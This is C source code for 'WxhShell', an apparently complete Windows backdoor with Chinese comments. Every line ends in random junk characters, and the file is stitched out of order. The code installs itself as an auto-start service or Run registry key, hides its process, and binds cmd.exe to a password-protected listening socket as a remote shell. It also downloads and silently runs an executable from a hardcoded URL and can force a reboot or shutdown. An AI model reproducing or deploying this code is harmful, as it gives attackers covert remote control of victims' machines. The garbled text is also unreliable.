    if(Boot(SHUTDOWN)) 'MH WNPG0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p&~8N#I#  
    else { IoWh&(+KdH  
    closesocket(wsh); 4<g,L;pUU  
    ExitThread(0); kaf4GME]  
    } xU+c?OLi  
    break; <|9s {z  
    } `6;%HbP$W+  
  // 获取shell :"5'l>la  
  case 's': { |LA@guN  
    CmdShell(wsh); D_er(  
    closesocket(wsh); rKg~H=4x2  
    ExitThread(0); .si!`?K%[  
    break; m[7@l  
  } }@%A@A{R  
  // 退出 ,paD/  
  case 'x': { L]I ;{Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r(-`b8ZE  
    CloseIt(wsh); 6&/n/g  
    break; sT:$:=  
    } ;zVtJG`  
  // 离开 {#"[h1  
  case 'q': { w&<-pIa`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  Xr'Y[E [  
    closesocket(wsh); AX3iB1):K  
    WSACleanup(); !\w@b`Iv8  
    exit(1); I?c "\Fe  
    break; kSj,Pl\NC  
        } ?EQ]f34  
  } E wDFUK  
  }  V9\g?w  
Z9TmX A@  
  // 提示信息 9NXf~-V-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2k}~"!e1  
} yop,%Fe  
  } Ve\^(9n  
'jh9n7mH  
  return; [~e{58}J|  
} /NRdBN  
L-Qc[L  
// shell模块句柄 s/#L?[YH  
int CmdShell(SOCKET sock) Zn{,j0;  
{ &`"Q*N2{  
STARTUPINFO si; ^1y (N>W  
ZeroMemory(&si,sizeof(si)); 6iAHus-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d7 |3A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i i&kfy  
PROCESS_INFORMATION ProcessInfo; 06pEA.ro  
char cmdline[]="cmd"; b#\i]2b:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *b#00)d  
  return 0; ]M%kt+u!  
} =(\ /+ 0-[  
2MS-e}mi  
// 自身启动模式 }!-BZIOlO  
int StartFromService(void) V*]cF=W[A  
{ 9w\ yWxl  
typedef struct 2P)*Y5`KBH  
{ x[XN;W&  
  DWORD ExitStatus; ,pfHNK-u  
  DWORD PebBaseAddress; 0'&N?rS  
  DWORD AffinityMask; 3i1e1Lj1  
  DWORD BasePriority; l0AVyA4RFV  
  ULONG UniqueProcessId; Qb "\j  
  ULONG InheritedFromUniqueProcessId; eru2.(1  
}   PROCESS_BASIC_INFORMATION; F?"#1j e  
|VC|@ Q  
PROCNTQSIP NtQueryInformationProcess; fePt[U)2  
U Px7u%Do  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =e\E{K'f@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &oi*]:<FNe  
2Lravb3  
  HANDLE             hProcess; e'%"G{(D  
  PROCESS_BASIC_INFORMATION pbi; PEA<H0  
2|a@,TW}-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tR`'( *wh  
  if(NULL == hInst ) return 0; x@^Kd*fo  
OJX* :Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "h.-qQGU%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r(qAe{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d3% 1 P)  
E1'| ;}/  
  if (!NtQueryInformationProcess) return 0; k)l*L1Y4:  
c j-_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {zGM[A  
  if(!hProcess) return 0; kC : pal  
A\Ax5eeL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^)-* Ubzz  
P|M#S9^]  
  CloseHandle(hProcess); v(Vm:oK,  
@log=^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _Nze="Pt  
if(hProcess==NULL) return 0; H|V q  
KBVW <;C$  
HMODULE hMod; R^t )~\d  
char procName[255]; 2Mqac:L  
unsigned long cbNeeded; "Yh[-[,  
?r< F/$/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fg[]>:ZT.  
SU. 9;I !  
  CloseHandle(hProcess); `8 Q3=^)3  
gD$bn=  
if(strstr(procName,"services")) return 1; // 以服务启动  x!)[l;  
"v%|&@  
  return 0; // 注册表启动 R 2.y=P8N  
} XLG6f(B=F  
{~cG'S Y%  
// 主模块 z 'iAj  
int StartWxhshell(LPSTR lpCmdLine) $inpiO|s  
{ D)0pm?*5A  
  SOCKET wsl; ;;6e t/8  
BOOL val=TRUE; , Oqd4NS  
  int port=0; /K+GM8rtE  
  struct sockaddr_in door; L p(6K  
}Z^r<-N  
  if(wscfg.ws_autoins) Install(); SM3qPlsF  
vsFRWpq  
port=atoi(lpCmdLine); {3V%  
;0R|#9oX_  
if(port<=0) port=wscfg.ws_port; ^LaOl+;S  
`EFPY$9`D  
  WSADATA data; 8[2.HM$Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KDt@Xi 6||  
6LVJ*sjSy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a?^xEye  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CuS"Wj  
  door.sin_family = AF_INET; A4C4xts]N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FrPpRe%!  
  door.sin_port = htons(port); gOk<pRcTb=  
|dP[_nh?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -;VKtBXP</  
closesocket(wsl); m\h. sg&  
return 1; Q#wl1P  
} S`N_},  
2!UNFv#=$  
  if(listen(wsl,2) == INVALID_SOCKET) { C}})dL;(  
closesocket(wsl); \1^qfw  
return 1; N.j?:  
}  ~\0uy3%  
  Wxhshell(wsl); T*m;G(  
  WSACleanup(); O-5s}RT  
^N{Lau  
return 0; +x?_\?&Ks  
_b ~XBn  
} ]yR0"<W^xO  
;JNI $DR  
// 以NT服务方式启动 x{Gdr51%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xKo l  
{ Ng;K-WB\  
DWORD   status = 0; rXortK#\%  
  DWORD   specificError = 0xfffffff; 83^|a5  
zAr@vBfC%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vmV<PK-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Glt%%TJb   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $d@_R^]X  
  serviceStatus.dwWin32ExitCode     = 0; 'Fe1]B"Y  
  serviceStatus.dwServiceSpecificExitCode = 0; 3n\eCdV-b<  
  serviceStatus.dwCheckPoint       = 0; e3|@H'~k  
  serviceStatus.dwWaitHint       = 0; VaLx-RX  
8Gw0;Uu8D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kO1.27D  
  if (hServiceStatusHandle==0) return; 4sj:%% UE  
^CZ)!3qd1  
status = GetLastError(); =f4v: j}'|  
  if (status!=NO_ERROR) S6J7^'h  
{ yUZ;keQ_Tw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !A5UT-  
    serviceStatus.dwCheckPoint       = 0; $U{ \T4  
    serviceStatus.dwWaitHint       = 0; ]+ \]2`?  
    serviceStatus.dwWin32ExitCode     = status; e-}b]\  
    serviceStatus.dwServiceSpecificExitCode = specificError; "cK@Yo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %Q)3*L  
    return; Q@7-UIV|q  
  } 4{[cXM8*j  
|VY+!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xj1FCT2  
  serviceStatus.dwCheckPoint       = 0; ]i}3`e?  
  serviceStatus.dwWaitHint       = 0; 3jH8pO^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E0g` xf 6c  
} _~^JRC[q  
|.]:#)^X?  
// 处理NT服务事件,比如:启动、停止 d"7l<y5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]#UyYgPk  
{ wEMh !jAbv  
switch(fdwControl) $#bgt   
{ #U46Au  
case SERVICE_CONTROL_STOP: FIB 9W@oao  
  serviceStatus.dwWin32ExitCode = 0; iMrNp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R4?OFhN9  
  serviceStatus.dwCheckPoint   = 0; "zT#*>U  
  serviceStatus.dwWaitHint     = 0; ~6:<OdQ  
  { q. %[!O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eyx;8v cM  
  } B{:JD^V!  
  return; h4j{44MT  
case SERVICE_CONTROL_PAUSE: &=seIc>x@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Bt8   
  break; '+!@c&d#%o  
case SERVICE_CONTROL_CONTINUE: YW|KkHi*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >&1MD}  
  break; [&Kn&bdKW  
case SERVICE_CONTROL_INTERROGATE: kF09t5Lr  
  break; D@M ZTb  
}; Anpx%NVo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~AD%aHR  
} F?+K~['i  
w(sD}YA)  
// 标准应用程序主函数 L5E|1T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1T{A(<:o$  
{ U1+X!&OCp  
Bf&,ACOf  
// 获取操作系统版本 WVP^C71  
OsIsNt=GetOsVer(); gC}r$ZB(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M]S&vE{D  
%&c+} m  
  // 从命令行安装 E(5'vr0  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ol}^'7H  
1NP(3yt%  
  // 下载执行文件 1:.0^?Gz  
if(wscfg.ws_downexe) { F2;k6M@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sC8C><y  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8P wobln  
} +1K9R\  
IX!Q X  
if(!OsIsNt) { '?q \mi  
// 如果时win9x,隐藏进程并且设置为注册表启动 SA5 g~{"  
HideProc(); De^GWO.?bT  
StartWxhshell(lpCmdLine); kW v)+  
} jIZpv|t)  
else 07zbx6:t  
  if(StartFromService()) ls(lL\  
  // 以服务方式启动 RhJ{#G~:%  
  StartServiceCtrlDispatcher(DispatchTable); 6LGy0dWpG  
else n4albG4  
  // 普通方式启动 @KM !g,f  
  StartWxhshell(lpCmdLine); 3NEbCILF  
-y8?"WB(b  
return 0; :R/szE*Ak  
} sqAZjfy@  
YTiXU Oj  
bt=%DMTn  
hf2Q;n&V  
=========================================== vJX3fE }F  
67Z.aaXD1  
%p5%Fs`sd  
mk)F3[ ke  
%UquF  
ail%#E8  
" &dqC =oK]  
82w='~y  
#include <stdio.h> 99'e)[\  
#include <string.h> 29]T:I1d[  
#include <windows.h> H /E.R[\+x  
#include <winsock2.h> F`l r5  
#include <winsvc.h> F,Ls1  
#include <urlmon.h> 0]tr&BLl*  
={Bcbj{  
#pragma comment (lib, "Ws2_32.lib") 4I"p>FIkY  
#pragma comment (lib, "urlmon.lib") ;&|MNN^  
gZ!vRO <%  
#define MAX_USER   100 // 最大客户端连接数 d" T">Og)  
#define BUF_SOCK   200 // sock buffer lyBae?%&  
#define KEY_BUFF   255 // 输入 buffer Q@]QPpe  
`0@onDQVc=  
#define REBOOT     0   // 重启 /8Sg<  
#define SHUTDOWN   1   // 关机 fc'NU(70c  
faqOGAb  
#define DEF_PORT   5000 // 监听端口 nf,R+oX  
CzP?J36W^  
#define REG_LEN     16   // 注册表键长度 3` ov?T(H  
#define SVC_LEN     80   // NT服务名长度 jhd&\z-  
$^ \8-k "  
// 从dll定义API mnK SO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8IErLu}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b?6-lYE>L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _7j-y 9V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }9w?[hXW"  
PU0Ha  
// wxhshell配置信息 3I87|5V,Z  
struct WSCFG { N5>ioJj  
  int ws_port;         // 监听端口 by 'P}  
  char ws_passstr[REG_LEN]; // 口令 9oOr-9t3  
  int ws_autoins;       // 安装标记, 1=yes 0=no _*d8:|qw  
  char ws_regname[REG_LEN]; // 注册表键名 o!q3+Pp;}  
  char ws_svcname[REG_LEN]; // 服务名 D4e*Wwk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U)Cv_qe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i%jti6z$Hr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h n:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -O.q$D=as  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |7$F r[2d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )<_e{_ h  
muMb pF  
}; ZWZRG-:&H  
5Jo><P a  
// default Wxhshell configuration /U |@sw4  
struct WSCFG wscfg={DEF_PORT, cG)i:  
    "xuhuanlingzhe", I9xQ1WJc`  
    1, 'CE3 |x\%K  
    "Wxhshell", ~>h_#sIBC  
    "Wxhshell", "E4;M/  
            "WxhShell Service", !j'9>G{T  
    "Wrsky Windows CmdShell Service", vbH?[ Zr?  
    "Please Input Your Password: ", PuKT0*_ 7  
  1, ^gP pmb<x  
  "http://www.wrsky.com/wxhshell.exe", ,BGaJ|k  
  "Wxhshell.exe" :#CQQ*@  
    }; wc&%icF*cr  
lX^yd5M&f  
// 消息定义模块 >HvgU_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u9-:/<R#}y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q)Qd+:a7{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &e2|]C4  
char *msg_ws_ext="\n\rExit."; +n]z'pijb  
char *msg_ws_end="\n\rQuit."; nE_g^  
char *msg_ws_boot="\n\rReboot..."; u4 ##*m  
char *msg_ws_poff="\n\rShutdown..."; TqzL]'NS+  
char *msg_ws_down="\n\rSave to "; }$6;g-|HX  
r_8[}|7;  
char *msg_ws_err="\n\rErr!"; F:p'%#3rU/  
char *msg_ws_ok="\n\rOK!"; B=E<</i  
`zD]*i(  
char ExeFile[MAX_PATH]; gP&G63^  
int nUser = 0; @FC|1=+  
HANDLE handles[MAX_USER]; N3J T[7  
int OsIsNt; uB;\nj5'D  
z[zURj-*]  
SERVICE_STATUS       serviceStatus;  58S>B'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {bQi z  
uVnbOqR<X  
// 函数声明 l* ~".q;S  
int Install(void); +M@,CbqD  
int Uninstall(void); H0!W:cIS;l  
int DownloadFile(char *sURL, SOCKET wsh); ;,d^=:S6@  
int Boot(int flag); F+%6?2 J  
void HideProc(void); s8i@HO  
int GetOsVer(void); FU;b8{Y  
int Wxhshell(SOCKET wsl); \6]Uj+  
void TalkWithClient(void *cs); 9$]I3k  
int CmdShell(SOCKET sock); BU3VXnqT[  
int StartFromService(void); $K_G|Wyi  
int StartWxhshell(LPSTR lpCmdLine); 3>Ne_kY  
h'Gs$o7#P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _J|cJ %F>%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {KH!PAh  
^oykimYI-  
// 数据结构和表定义 ~353x%e'  
SERVICE_TABLE_ENTRY DispatchTable[] = adi^*7Q] )  
{ R^[b I;  
{wscfg.ws_svcname, NTServiceMain}, [(*ObvEF  
{NULL, NULL} L[Z SgRTu  
}; y `)oD0)Fj  
>bgx o<  
// 自我安装 # Uc0 W  
int Install(void) BWtGeaW/sr  
{ qFqK. u  
  char svExeFile[MAX_PATH]; A*&`cUoA  
  HKEY key; u\)2/~<]  
  strcpy(svExeFile,ExeFile); `5J`<BPs  
<B+xE?v4  
// 如果是win9x系统,修改注册表设为自启动 itH` s<E  
if(!OsIsNt) { 17hFwo`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ';HNQe?vT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k15fy"+Ut  
  RegCloseKey(key); <i<[TPv";  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o@o0V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8`I/\8;H'p  
  RegCloseKey(key); `~~.0QC  
  return 0; 1[? xU:;9  
    } |sG@Ku7~4  
  } Bu%TTbnz_G  
} /'yi!:FZFC  
else { @<n8?"{5S  
*hm;C+<~  
// 如果是NT以上系统,安装为系统服务 .>/Tc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g8+Ke'=_  
if (schSCManager!=0) ceKR?%8s  
{ APne!  
  SC_HANDLE schService = CreateService D@-'<0=  
  ( ,McwPHEMB  
  schSCManager, c8R#=^ DD  
  wscfg.ws_svcname, t<UtSkE1  
  wscfg.ws_svcdisp, !)!<. x  
  SERVICE_ALL_ACCESS, <KBzZ !n5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aDDs"DXx  
  SERVICE_AUTO_START, In3},x +$  
  SERVICE_ERROR_NORMAL, ;*~y4'{z  
  svExeFile, KG2ij~v  
  NULL, GnCO{"n  
  NULL, GS<aXh k  
  NULL, ~7kIe+V  
  NULL, vt(A?$j|A  
  NULL 1\hh,s  
  ); tf:4}6P1  
  if (schService!=0) 834E ]2  
  { ~|FKl%  
  CloseServiceHandle(schService); K3CTxU(  
  CloseServiceHandle(schSCManager); $y2"Q,n+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9f wFSJx  
  strcat(svExeFile,wscfg.ws_svcname); 7KB:wsz^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z`W @Od$f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ts~MkO  
  RegCloseKey(key); %T_4n^beFQ  
  return 0;  q#=}T~4j  
    } \v*WI)]  
  } ;|.~'':  
  CloseServiceHandle(schSCManager); )`4g,W  
} ZRD@8'1p  
} _QS+{  
@P$_2IU"  
return 1; RD$"ft]Vc  
} !awsQ!e|  
~9tPT 0^+  
// 自我卸载 =m+'orJ1  
int Uninstall(void) iJ7?6)\  
{ + A=*C  
  HKEY key; .b3c n  
#]vy`rv  
if(!OsIsNt) { !)nA4l= S#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :(^, WOf  
  RegDeleteValue(key,wscfg.ws_regname); Sz"rp9x+  
  RegCloseKey(key); f0<'IgN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2V-zmyJs5  
  RegDeleteValue(key,wscfg.ws_regname); zG[GyyAQ  
  RegCloseKey(key); vv9=g*"j  
  return 0; qYwEPGa\  
  } O<:"Irq\qr  
} [|:kS  
} *j`{ K  
else { C}7 c:4c  
!8z,}HUdK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V~9s+>  
if (schSCManager!=0) 3ZAPcpB2  
{ ^hMJNy&R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X}-) io  
  if (schService!=0) <8'-azpJ6<  
  { R Cgn\  
  if(DeleteService(schService)!=0) { "1#piJ  
  CloseServiceHandle(schService); ~boTh  
  CloseServiceHandle(schSCManager); aYmC LLj  
  return 0; Ki8]+W37  
  } `Dn"<-9:  
  CloseServiceHandle(schService); 5Az4<  
  } S<-e/`p=H  
  CloseServiceHandle(schSCManager); figCeJ!W4  
} M?3N h;  
} >~D-\,d|f  
R _c! ,y  
return 1; NDmTxW#g  
} t/3t69\x  
YpGG^;M$  
// 从指定url下载文件 SDW_Y^Tb  
int DownloadFile(char *sURL, SOCKET wsh) E|Q|Nx!6[  
{ *[QFIDn:  
  HRESULT hr; ;1wRo`RD  
char seps[]= "/"; nO{m2&r+  
char *token; wcd1.$ n  
char *file; Kc%GxD`  
char myURL[MAX_PATH]; 3fb"1z#  
char myFILE[MAX_PATH]; sK&[sN33  
u=U. +\f5  
strcpy(myURL,sURL); |$)+h\h  
  token=strtok(myURL,seps); `L. kyL  
  while(token!=NULL) pc=f,  
  { yLDv/r  
    file=token; @u.%z# h"1  
  token=strtok(NULL,seps); 7a0kat '\  
  } Q#Vg5H4  
V"r2 t9A  
GetCurrentDirectory(MAX_PATH,myFILE); k4AF .U`I  
strcat(myFILE, "\\"); Pf4b/w/  
strcat(myFILE, file); wB~5&:]jr  
  send(wsh,myFILE,strlen(myFILE),0); { ]F };_  
send(wsh,"...",3,0); .[qm>j,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9(CY"Tc3  
  if(hr==S_OK) T+0Z2H  
return 0; "E6*.EtTN#  
else c^?+"7oO0  
return 1; A:?|\r  
y9#r SA*  
} }3Mnq?.-  
j\uh]8N3<  
// 系统电源模块 S 6|#9C&  
int Boot(int flag) :d!qZFln  
{ y>5??q  
  HANDLE hToken; Z<Pf[C  
  TOKEN_PRIVILEGES tkp; WqHsf1? N  
%+{[%?xh  
  if(OsIsNt) { N1vPY]8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }%@q; "9`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8}^R jMgI  
    tkp.PrivilegeCount = 1; ):c)$$dn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !qQ B}sAf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &.ilku/  
if(flag==REBOOT) { V=?qU&r<+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k v>rv37u  
  return 0; lDV}vuM<4  
} {?zBc E:  
else { 5xsGSoa+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Kz>Bw;R(  
  return 0; EV$$wrohQ`  
} T"tR*2HwSd  
  } >p[skN   
  else { lO>9Q]S<  
if(flag==REBOOT) { -fA1_ ?7S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DMcH, _(  
  return 0; k-zkb2  
} q9^6A90  
else { JJ+A+sfdk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [`]h23vRW  
  return 0; 7SyysH<H  
} +4r.G(n),  
} bh~"LQS1  
@uJ^k >B  
return 1; M(8Mj[>>Rj  
} h5do?b v!  
uDWxIP,m  
// win9x进程隐藏模块 oQS_rv\Ber  
void HideProc(void) 3R=R k  
{ I=DvP;!  
O2n[`9*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]((Ix,ggP  
  if ( hKernel != NULL ) _Z>I"m  
  { {j!jm5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?e. Ge0&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O #  
    FreeLibrary(hKernel); ! /qQ:k-.  
  } W~QH"Sq  
|RA|nu   
return; G)S (a4  
} ayR;|S  
 !=f$ [1  
// 获取操作系统版本 A@o:mZ+XN(  
int GetOsVer(void) 8=Z]?D=  
{ 6M/*]jLq4  
  OSVERSIONINFO winfo; '20SoVp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F70_N($i  
  GetVersionEx(&winfo); l )m]<E X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $ OAak  
  return 1; /KCJ)0UU  
  else "{lw;AA5F  
  return 0; ?cH,!2  
} t'.oty=  
WYayr1  
// 客户端句柄模块 dTwZ-%  
int Wxhshell(SOCKET wsl) 2`ED?F68gH  
{ {f12&t  
  SOCKET wsh; M< 1rQW'  
  struct sockaddr_in client; Tx|}ke~  
  DWORD myID; jlA?JB  
yW!+:y_N_  
  while(nUser<MAX_USER) ?L'4*S]  
{ V|njgcn d  
  int nSize=sizeof(client); iL](w3EM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #zL0P>P'a  
  if(wsh==INVALID_SOCKET) return 1; N;6@f*3_i  
/ad]pdF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hHoc>S6^M  
if(handles[nUser]==0) v6$ }saTX  
  closesocket(wsh); "4,Zox{^  
else Jy?#@/~  
  nUser++; (X(296<;  
  } nG+L'SmI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wRATe 0'  
$zR[2{bg  
  return 0; &AS<2hB  
} KXS{@/"-B  
F-g7*  
// 关闭 socket -2`D(xC  
void CloseIt(SOCKET wsh) '(4#He?Gd  
{ D{J+}*y  
closesocket(wsh); v)VhR2d3  
nUser--; </%n:<z4  
ExitThread(0); mH/$_x)o  
} `~.0PnHf  
UyWKE<  
// 客户端请求句柄 aV6l"A]  
void TalkWithClient(void *cs) M10u?  
{ 0nDlqy6b1b  
JOA_2qa>\  
  SOCKET wsh=(SOCKET)cs; Bp.z6x4  
  char pwd[SVC_LEN]; QSNLo_z  
  char cmd[KEY_BUFF]; -T  5$l  
char chr[1]; rP=!!fC1;  
int i,j; #SR"Q`P  
'~Z#h  P  
  while (nUser < MAX_USER) { FX6 *`  
=q4 QBAW  
if(wscfg.ws_passstr) { vA(')"DDT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k\~A\UIYo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LM~,`#3 Ru  
  //ZeroMemory(pwd,KEY_BUFF); pH'1be{K  
      i=0; G.}Ex!8R7_  
  while(i<SVC_LEN) { _s&sA2r<  
sXmZ0Dv  
  // 设置超时 "?yu^  
  fd_set FdRead; 2Y2J)5,  
  struct timeval TimeOut; GkutS.2G#  
  FD_ZERO(&FdRead); 2Y+8!4^L a  
  FD_SET(wsh,&FdRead); N)0I+>, ^  
  TimeOut.tv_sec=8; yU"'h[^  
  TimeOut.tv_usec=0; pR VL}^Rk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >UQ`@GdafR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @rh1W$  
%~ROV>&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ST^@7f_  
  pwd=chr[0]; %NI'PXpI  
  if(chr[0]==0xd || chr[0]==0xa) { N;.cZp2  
  pwd=0; NUclF|G  
  break; Ju~8C\Dd  
  } BwN>;g_  
  i++; gkN|3^  
    } ];|;")#=  
BU|bo")  
  // 如果是非法用户,关闭 socket `T;M=S^y*E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?D^l&`S  
} }g?9 /)z  
wJb\Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 05+uBwH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0k];%HV|  
W9$mgs=S`E  
while(1) { wkp|V{k  
hgz7dF  
  ZeroMemory(cmd,KEY_BUFF); :h|nV ~  
,B,2t u2  
      // 自动支持客户端 telnet标准   tvC7LLNP<  
  j=0; @Lj28&4:<  
  while(j<KEY_BUFF) { (S@H'G"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r}gp{Pf7e  
  cmd[j]=chr[0]; gda3{g7<)  
  if(chr[0]==0xa || chr[0]==0xd) { u/@dWeY[]  
  cmd[j]=0; aXSTA ,%  
  break; wN])"bmB  
  } Z~.3)6,z  
  j++; 05<MsxB"w  
    } u.}z}'-  
FDHa|<oz  
  // 下载文件 ,a I0Aw  
  if(strstr(cmd,"http://")) { IX /r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \\qw"w9  
  if(DownloadFile(cmd,wsh)) NINaOs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cu%|}xq  
  else [y>;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hb>,\46}  
  } wHQyMq^  
  else { GlDl0P,*r  
vM}oxhQ$n  
